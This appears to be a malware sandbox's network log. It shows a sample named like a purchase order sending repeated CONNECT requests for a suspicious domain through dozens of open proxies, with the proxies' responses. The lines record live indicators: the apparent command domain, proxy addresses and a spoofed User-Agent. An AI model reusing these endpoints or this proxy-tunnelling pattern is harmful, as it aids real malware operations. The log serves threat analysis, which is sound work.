Mar 11, 2024 16:39:46.912172079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.989002943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.727675915 CET	202	IN	HTTP/1.0 403 Forbidden Content-Length: 587 Content-Type: text/html Date: Mon, 11 Mar 2024 15:39:50 GMT Expires: Mon, 11 Mar 2024 15:39:50 GMT Server: Mikrotik HttpProxy Proxy-Connection: close
Mar 11, 2024 16:39:53.748899937 CET	202	IN	HTTP/1.0 403 Forbidden Content-Length: 587 Content-Type: text/html Date: Mon, 11 Mar 2024 15:39:50 GMT Expires: Mon, 11 Mar 2024 15:39:50 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
705	192.168.2.10	52278	104.25.58.39	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.912347078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.066390991 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
706	192.168.2.10	52296	104.25.244.70	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.912494898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.066730976 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
707	192.168.2.10	52287	162.240.73.148	34447	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.947634935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
708	192.168.2.10	52164	62.33.53.248	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.963069916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.156266928 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
709	192.168.2.10	52227	18.135.133.116	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.976057053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.271435022 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:47 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
710	192.168.2.10	52197	47.242.15.120	15673	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.977629900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
711	192.168.2.10	52176	94.232.125.200	5678	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.985285997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
712	192.168.2.10	52107	122.114.232.137	808	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.985332012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
713	192.168.2.10	52397	104.20.233.70	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.985896111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.140144110 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
714	192.168.2.10	52406	172.67.25.204	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.004467010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.164032936 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
715	192.168.2.10	52407	172.67.181.11	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.007250071 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.164864063 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
716	192.168.2.10	52241	5.75.192.13	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.009670973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
717	192.168.2.10	52139	202.40.181.220	31247	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.011229992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.786031961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.989588022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
718	192.168.2.10	52221	185.49.31.207	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.012038946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
719	192.168.2.10	52225	37.235.48.19	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.013236046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
720	192.168.2.10	52205	39.108.229.14	8002	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.013839960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.672143936 CET	65	IN	HTTP/1.1 200 Connection established Proxy-Agent: gost/2.11.5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
721	192.168.2.10	52319	52.73.224.54	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.015438080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.233488083 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:47 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
722	192.168.2.10	52177	93.157.248.108	88	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.018802881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
723	192.168.2.10	52222	106.14.255.124	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.018948078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
724	192.168.2.10	50202	199.102.107.145	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.020764112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
725	192.168.2.10	52353	92.204.134.38	52929	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.042032957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.676490068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.489281893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.989294052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.989428043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.978756905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.989146948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.786345959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
726	192.168.2.10	52309	70.166.167.55	57745	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.042032957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
727	192.168.2.10	51448	173.212.209.49	39522	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.042393923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.048021078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.098933935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.207854033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:11.207855940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:23.207509041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:35.207493067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:59.207494020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:47.269959927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
728	192.168.2.10	49899	119.28.60.64	8090	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.042407990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
729	192.168.2.10	52416	107.173.255.183	1234	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.052649021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
730	192.168.2.10	52288	114.156.77.107	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.058074951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
